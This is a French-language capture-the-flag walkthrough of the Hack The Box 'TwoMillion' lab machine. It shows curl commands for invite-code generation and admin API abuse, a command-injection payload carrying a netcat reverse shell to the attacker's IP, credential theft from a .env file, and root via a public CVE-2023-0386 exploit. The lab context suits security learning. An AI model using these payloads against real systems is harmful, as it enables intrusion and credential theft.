TwoMillion
TwoMillion est une machine qui nous ramène quelques années en arrière, quand il fallait trouver le code d'invitation d'Hack The Box pour pouvoir s'y inscrire.
Données :
- Mon IP :
10.10.14.50 - IP cible :
10.10.11.221
Reconnaissance
Je commence par scanner l'adresse IP :
nmap -A 10.10.11.221
Résultat classique : port 22 et port 80. Je vais sur la page web et ajoute le nom de domaine dans mes hosts.
En fouillant le site — qui est le site HTB d'il y a quelques années — on arrive rapidement sur /invite. J'ouvre l'inspecteur du navigateur et trouve un fichier JS : inviteapi.min.js. Je copie ce code dans un désobfuscateur :

J'obtiens l'endpoint API qui me donnera un indice sur comment générer le code d'invitation.
Génération du code d'invitation
curl -X POST "http://2million.htb/api/v1/invite/how/to/generate"
Réponse :
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"}}
Je décode le ROT13 :
In order to generate the invite code, make a POST request to /api/v1/invite/generate
Je fais la requête :
curl -X POST "http://2million.htb/api/v1/invite/generate" # => {"0":200,"success":1,"data":{"code":"V05CWkYtSlhUUlotM0dRSkMtRVNHNEI=","format":"encoded"}}
J'obtiens une chaîne encodée en base64. Après décodage j'obtiens un code au format XXXXX-XXXXX-XXXXX-XXXXX. Je l'entre dans le site et je peux créer un compte.
Énumération de l'API
Une fois connecté, je liste les endpoints de l'API avec mon cookie de session :
curl "http://2million.htb/api/v1" --cookie "PHPSESSID=gflk099n21iqik8siqit423iar" | json

Trois endpoints sous /admin. Je teste l'update pour passer admin — après plusieurs essais guidés par les réponses du serveur, je deviens admin. Mais ça ne donne pas d'accès supplémentaire direct.
Exploitation — Command Injection
Je passe au endpoint POST et teste une injection de commande :
curl -X POST "http://2million.htb/api/v1/admin/vpn/generate" \ --cookie "PHPSESSID=gflk099n21iqik8siqit423iar" \ --header "Content-type: application/json" \ -v --data '{"username":"larmenou && curl 10.10.14.50:8888 #"}' | json
Bingo ! Je reçois bien quelque chose sur mon netcat. L'endpoint est vulnérable à l'injection de commande. J'envoie un reverse shell :
curl -X POST "http://2million.htb/api/v1/admin/vpn/generate" \ --cookie "PHPSESSID=gflk099n21iqik8siqit423iar" \ --header "Content-type: application/json" \ -v --data '{"username":"larmenou && rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.50 8888 >/tmp/f"}' | json

Accès utilisateur
Je remarque immédiatement un fichier .env. En le lisant j'obtiens le mot de passe d'un utilisateur admin. Je tente une connexion SSH avec ces identifiants — ça fonctionne. J'obtiens le premier flag :

Élévation de privilèges — CVE-2023-0386
Au moment de la connexion SSH, une notification m'indique un mail. Je vais dans /var/mail/ :
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
Très intéressant — on parle d'une vulnérabilité OverlayFS. Un tour sur le net plus tard : CVE-2023-0386. Cette faille permet à un utilisateur lambda de devenir root.
Je trouve ce repo pour exploiter la faille : github.com/puckiestyle/CVE-2023-0386.
Je télécharge le repo sur la machine cible via mon serveur local et suis le README. En peu de temps je suis root :
